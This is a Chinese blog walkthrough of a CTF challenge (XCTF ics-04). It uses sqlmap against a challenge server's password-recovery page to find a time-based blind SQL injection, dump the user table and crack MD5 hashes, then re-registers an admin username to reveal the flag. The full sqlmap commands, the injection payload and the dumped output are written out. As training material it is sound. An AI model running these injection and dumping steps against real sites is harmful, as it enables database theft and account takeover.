

CTF ics-04

原创

艺博东 于 2020-10-05 10:20:46 发布 9593 收藏 4

分类专栏: [网络攻防](#) 文章标签: [CTF 安全](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: <https://blog.csdn.net/HYD696/article/details/108925944>

版权



[网络攻防](#) 专栏收录该内容

24 篇文章 17 订阅

订阅专栏

难度系数: ★★★★★

题目来源: XCTF 4th-CyberEarth

题目描述: 工控云管理系统新添加的登录和注册页面存在漏洞, 请找出flag。

题目场景: <http://220.249.52.133:52962> (温馨提示: 每次进入URL的端口号都不一样)

1、点击链接进入如下界面



2、先注册几个账号, 相同的用户名

请注册

用户名	yibodong
密码
密保问题	喜欢什么颜色?
密保答案	红色

注册

<https://blog.csdn.net/HYD696>

3、登录→忘记密码

欢迎登录

用户名	请输入
密码	请输入密码

登录

忘记密码? 普通用户登录成功,没什么用

<https://blog.csdn.net/HYD696>

4、忘记密码

cetc用户找回密码

用户名

5、在kail Linux里,开始sql注入

执行如下:

5.1

```
sqlmap -u "http://220.249.52.133:52962/findpwd.php" --data "username=1" -dbs
```

```

yibodong@localhost:~/桌面$ sqlmap -u "http://220.249.52.133:52962/findpwd.php"
--data "username=1" -dbs
{1.4.7#stable}
http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not
responsible for any misuse or damage caused by this program

[*] starting @ 09:31:23 /2020-10-05/

[09:31:23] [INFO] resuming back-end DBMS 'mysql'
[09:31:23] [INFO] testing connection to the target URL
[09:31:24] [INFO] heuristics detected web page charset 'utf-8'
you have not declared cookie(s), while server wants to set its own ('PHPSESS
ID=uuqno7r3nqo ... rbekfj8de0'). Do you want to use those [Y/n] y
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: username (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: username=1' AND (SELECT 2384 FROM (SELECT(SLEEP(5)))faLv) AND '
EiILM'='EiILM
https://blog.csdn.net/HYD696

```

5.2

```
sqlmap -u "http://220.249.52.133:52962/findpwd.php" --data "username=1" -D cetc004 - -tables
```

```

47,0x716a787071),NULL-- -
---
[09:31:26] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
[09:31:26] [INFO] fetching database names
[09:31:26] [INFO] resumed: 'information_schema'
[09:31:26] [INFO] resumed: 'cetc004'
[09:31:26] [INFO] resumed: 'mysql'
[09:31:26] [INFO] resumed: 'performance_schema'
available databases [4]:
[*] cetc004
[*] information_schema
[*] mysql
[*] performance_schema

[09:31:26] [INFO] fetched data logged to text files under '/home/yibodong/.l
ocal/share/sqlmap/output/220.249.52.133'

[*] ending @ 09:31:26 /2020-10-05/

yibodong@localhost:~/桌面$ sqlmap -u "http://220.249.52.133:52962/findpwd.php"
--data "username=1" -D cetc004 - -tables
{1.4.7#stable}
http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not
responsible for any misuse or damage caused by this program
https://blog.csdn.net/HYD696

```

5.3

```
sqlmap -u "http://220.249.52.133:52962/findpwd.php" --data "username=1" -D cetc004 -T user - -columns
```

```

[09:31:47] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL ≥ 5.0.12
[09:31:47] [INFO] fetching tables for database: 'cetc004'
Database: cetc004
[1 table]
+-----+
| user |
+-----+

[09:31:47] [INFO] fetched data logged to text files under '/home/yibodong/.local/share/sqlmap/output/220.249.52.133'

[*] ending @ 09:31:47 /2020-10-05/

yibodong@localhost:~/桌面$ sqlmap -u "http://220.249.52.133:52962/findpwd.php" --data "username=1" -D cetc004 -T user - -columns

{1.4.7#stable}
http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 09:32:23 /2020-10-05/
https://blog.csdn.net/HYD696

```

5.4

```

sqlmap -u "http://220.249.52.133:52962/findpwd.php" --data "username=1" -D cetc004 -T user -C "username,password" - -dump

```

```

back-end DBMS: MySQL ≥ 5.0.12
[09:32:25] [INFO] fetching columns for table 'user' in database 'cetc004'
[09:32:25] [INFO] resumed: 'username','varchar(255)'
[09:32:25] [INFO] resumed: 'password','varchar(255)'
[09:32:25] [INFO] resumed: 'question','varchar(255)'
[09:32:25] [INFO] resumed: 'answer','varchar(255)'
Database: cetc004
Table: user
[4 columns]
+-----+-----+
| Column | Type |
+-----+-----+
| password | varchar(255) |
| answer | varchar(255) |
| question | varchar(255) |
| username | varchar(255) |
+-----+-----+

[09:32:25] [INFO] fetched data logged to text files under '/home/yibodong/.local/share/sqlmap/output/220.249.52.133'

[*] ending @ 09:32:25 /2020-10-05/

yibodong@localhost:~/桌面$ sqlmap -u "http://220.249.52.133:52962/findpwd.php" --data "username=1" -D cetc004 -T user -C "username,password" - -dump

{1.4.7#stable}
http://sqlmap.org

https://blog.csdn.net/HYD696

```

5.5 OK

```
[09:39:44] [INFO] using suffix '8'
[09:40:03] [INFO] using suffix '15'
[09:40:25] [INFO] using suffix '69'
[09:40:46] [INFO] using suffix '16'
[09:41:06] [INFO] using suffix '6'
[09:41:27] [INFO] using suffix '18'
[09:41:54] [INFO] using suffix '!'
[09:42:18] [INFO] using suffix '.'
[09:42:46] [INFO] using suffix '*'
[09:43:10] [INFO] using suffix '!!'
[09:43:31] [INFO] using suffix '?'
[09:43:55] [INFO] using suffix ';'
[09:44:21] [INFO] using suffix '..'
[09:44:22] [INFO] cracked password '123456789 ... ' for user 'yibodong'
[09:44:51] [INFO] using suffix '!!!'
[09:45:16] [INFO] using suffix ','
[09:45:40] [INFO] using suffix '@'
Database: cetc004
Table: user
[4 entries]
+-----+-----+
| username | password |
+-----+-----+
| c3tlwDmIn23 | 2f8667f381ff50ced6a3edc259260ba9 |
| yi | 25f9e794323b453885f5181f1b624d0b (123456789) |
| yibodong | 7a703fe858a974853b62a597668e86f1 (123456789 ...) |
| yibodong | 7a703fe858a974853b62a597668e86f1 (123456789 ...) |
+-----+-----+
[09:46:06] [INFO] table 'cetc004.`user`' dumped to CSV file '/home/yibodong/.local/share/sqlmap/output/220.249.52.133/dump/cetc004/user.csv'
https://blog.csdn.net/HYD696
```

有一个没注册过的用户名: c3tlwDmIn23

```
[2] custom dictionary file
[3] file with list of dictionary files
>
[09:32:57] [INFO] using default dictionary
do you want to use common password suffixes? (slow!) [y/N] y
[09:32:58] [INFO] starting dictionary-based cracking (md5_generic_passwd)
[09:32:58] [INFO] starting 2 processes
[09:33:18] [INFO] using suffix '1'
[09:33:37] [INFO] using suffix '123'
[09:33:56] [INFO] using suffix '2'
[09:34:16] [INFO] using suffix '12'
[09:34:34] [INFO] using suffix '3'
[09:34:52] [INFO] using suffix '13'
[09:35:11] [INFO] using suffix '7'
[09:35:30] [INFO] using suffix '11'
[09:35:48] [INFO] using suffix '5'
[09:36:07] [INFO] using suffix '22'
[09:36:28] [INFO] using suffix '23'
[09:36:55] [INFO] using suffix '01'
[09:37:18] [INFO] using suffix '4'
https://blog.csdn.net/HYD696
```

其密码经过 md5 加密处理后, 但这个用户的密码没有被解析出来。

6、看到有两个用户名为 **yibodong**, 并且题目描述中说了注册页面有漏洞, 再重复注册一个 **c3tlwDmIn23** 用户

请注册

用户名	c3tlwDmIn23
密码
密保问题	你最6
密保答案	6

注册

<https://blog.csdn.net/HYD696>

7、登录—>flag就出来了

欢迎登录

用户名	请输入
密码	请输入密码

登录

忘记密码? cyberpeace{f3f54fb8f17053c68a7672794dae7e98}

<https://blog.csdn.net/HYD696>

8、OK

cyberpeace{f3f54fb8f17053c68a7672794dae7e98}



[创作打卡挑战赛](#) >

[赢取流量/现金/CSDN周边激励大奖](#)